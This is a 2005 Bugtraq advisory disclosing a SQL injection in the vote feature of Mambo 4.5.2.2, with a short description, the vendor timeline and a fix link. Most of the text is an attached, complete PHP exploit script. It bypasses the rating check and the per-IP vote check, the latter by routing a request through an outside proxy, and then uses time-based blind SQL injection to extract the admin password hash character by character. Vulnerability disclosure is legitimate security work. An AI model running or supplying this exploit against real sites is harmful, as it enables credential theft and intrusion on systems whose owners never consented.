Date: Wed, 15 Jun 2005 17:54:39 +0800
To: "[email protected]" <bugtraq@securityfocus.com.>,
Subject: Mambo 4.5.2.2 SQL Injection in UPDATE statement
From: pokley <pokleyzz@scan-associates.net.>
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Product : Mambo 4.5.2.2 (http://www.mamboserver.com)
Summary: Mambo 4.5.2.2 and below SQL Injection in UPDATE statement
Severity: Low
Description
===========
Mambo is a full-featured management system that can be used for everything
from simple websites to complex corporate applications.
Details
=======
We have found uncritical sql injection vulnerability in com_contents
component when user vote for the content.
-- content.php --
100 case 'vote':
101 recordVote ( $url , $user_rating , $cid ,
$database);
102 break;
...
1478 $query = "UPDATE
#__content_rating"
1479 . "\n SET rating_count =
rating_count + 1,"
1450 . "\n rating_sum = rating_sum
+ $user_rating,"
1451 . "\n lastip = '$currip'"
1452 . "\n WHERE content_id = ". $cid
1453 ;
----------------
On line 1450 $user_rating using user supplied value without any validation.
This kind of vulnerability is exploitable to gain sensitif information if
Mambo configured to using mySQL 4.1 and above.
Fix
===
Fix available from Mambo website (http://mamboforge.net/frs/?group_id=5)
Proof of concept
================
See Attachment
Vendor Response
===============
15th June 2005 - Vendor Contacted
15th June 2005 - Fix Available
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#!/usr/bin/php -q
Mambo 4.5.2.1 + mysql 4.1 > fetch password hash by pokleyzz <pokleyzz at scan-associates.net>
<?php
/*
Mambo 4.5.2.1 + mysql 4.1 > fetch password hash by pokleyzz <pokleyzz at scan-associates.net>
*content rating using sub query to select from mos_users
Requirement:
PHP 4.x with curl extension
Description:
The problem occur because $user_rating variable is not properly sanitize when for use in SQL query
for UPDATE statement.
>From content.php (components\com_content\content.php)
-----
function recordVote ( $url, $user_rating, $cid, $database ){
$cid = intval( $cid );
if ( ( $user_rating >= 1 ) and ( $user_rating <= 5 ) ) { <--- 1st Checkpoint
$currip = getenv( 'REMOTE_ADDR' );
$query = "SELECT * FROM #__content_rating WHERE content_id = $cid";
$database->setQuery( $query );
$votesdb = NULL;
if ( !( $database->loadObject( $votesdb ) ) ) {
$query = "INSERT INTO #__content_rating ( content_id, lastip, rating_sum, rating_count )"
. "\n VALUES ( '$cid', '$currip', '$user_rating', '1' )";
$database->setQuery( $query );
$database->query() or die( $database->stderr() );;
} else {
if ($currip <> ($votesdb->lastip)) { <-- 2nd Checkpoint
$query = "UPDATE #__content_rating"
. "\n SET rating_count = rating_count + 1,"
. "\n rating_sum = rating_sum + $user_rating," <--- PROBLEM
. "\n lastip = '$currip'"
. "\n WHERE content_id = ". $cid
;
$database->setQuery( $query );
$database->query() or die( $database->stderr() );
} else {
mosRedirect ( $url, _ALREADY_VOTE );
}
}
mosRedirect ( $url, _THANKS );
}
}
-----
User may escape 1st checkpoint by passing (1-5)(string) value to $user_rating .In PHP beginning
number in string will be use when comparing number with string.
The 2nd checkpoint will check previous user's ip rated the content. Update statement will only
execute when previous ip is different from current ip. This proof of concept will use cgi proxy from
http://projectbypass.com to make it possible.
In mySQL 4.1 and above it is possible to use "sub select" in any SQL statement. We will using
"blind fishing" with sub select to fetch password hash (md5) for supplied user id.
Exploiting step:
1) rate from different ip
2) check time for standard page loading
3) check time for page loading when benchmark executed.
* If error occur mysql version is < 4.1 (no support for sub select)
4) double the benchmark value. Blind fishing will use this value to do the query.
5) blind fishing with sub select.
Special thanks:
al3ndaleeb at hotmail.com
*/
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}
ini_set("max_execution_time","999999");
$benchcount = 150000;
$aid= 62;
$cid = 2;
$charmap = array (48,49,50,51,52,53,54,55,56,57,
97,98,99,100,101,102,
103,104,105,
106,107,108,109,110,111,112,113,
114,115,116,117,118,119,120,121,122
);
if($argv[1]){
$url = $argv[1];
if ($argv[2])
$aid = $argv[2];
if ($argv[3])
$benchcount = $argv[3];
if ($argv[4])
$proxy = $argv[4];
}
else {
echo "Usage: ".$argv[0]." <URL> [userid] [benchmarkcount] [proxy]\n\n";
echo "\tURL\t URL to mambo site (ex: http://127.0.0.1)\n";
echo "\taid\t userid to get (default: 62 (admin))\n";
echo "\tbenchmarkcount\t benchmark count (default: 150000)\n";
echo "\tproxy\t optional proxy url (ex: http://10.10.10.10:8080)\n";
exit;
}
// rate from different ip (using http://projectbypass.com)
$projectbypass = "http://projectbypass.com/nph-proxy3.cgi/010110A/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$projectbypass.str_replace("://","/",$url)."/index.php?option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res = curl_exec($ch);
curl_close ($ch);
// standard page loading time
$start = time();
$ch = curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res = curl_exec($ch);
curl_close ($ch);
$stop = time();
$sloadtime = floatval($stop - $start);
echo "standard page loading =".$sloadtime."\n";
// benchmark page loading time
$start = time();
$ch = curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url."/index.php?option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=1,rating_sum=(select+1+from+mos_users+where+if(2>1,benchmark($benchcount,md5(1)),1))+where+content_id=$cid/*");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res = curl_exec($ch);
curl_close ($ch);
$stop = time();
$bloadtime = floatval($stop - $start);
echo "bencmark page loading =".$bloadtime."\n";
// check if SQL query failed
if (ereg("DB function failed",$res)){
echo "[x] mysql < 4.1 detected - not exploitable\n";
exit();
}
if ($bloadtime <= $sloadtime + 2){
echo "[x] increase your benchmark count\n";
exit();
}
echo "Take your time for Teh Tarik... please wait ...\n\n";
echo "Result:\n";
echo "\tUserid = $aid\n";
echo "\tPassword Hash = ";
// starting fetch password
$benchcount = $benchcount*2;
for($i= 1;$i< 33;$i++){
foreach ($charmap as $char){
$start = time();
echo chr($char);
$ch = curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url."/index.php?option=com_content&task=vote&id=1&Itemid=1&cid=$cid&user_rating=1,rating_sum=(select+password+from+mos_users+where+id=$aid+and+if(ascii(substring(password,$i,1))=$char,benchmark($benchcount,md5(1)),1))+where+content_id=$cid/*");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$stop = time();
$xloadtime = floatval($stop - $start);
if (floatval($xloadtime) > $bloadtime){
$hash .= chr($char);
break 1;
}
else {
echo chr(8);
}
if ($char == 103){
echo "\n\n\tNot Vulnerable or Something wrong occur ...\n";
exit;
}
}
}
echo "\n";
?>
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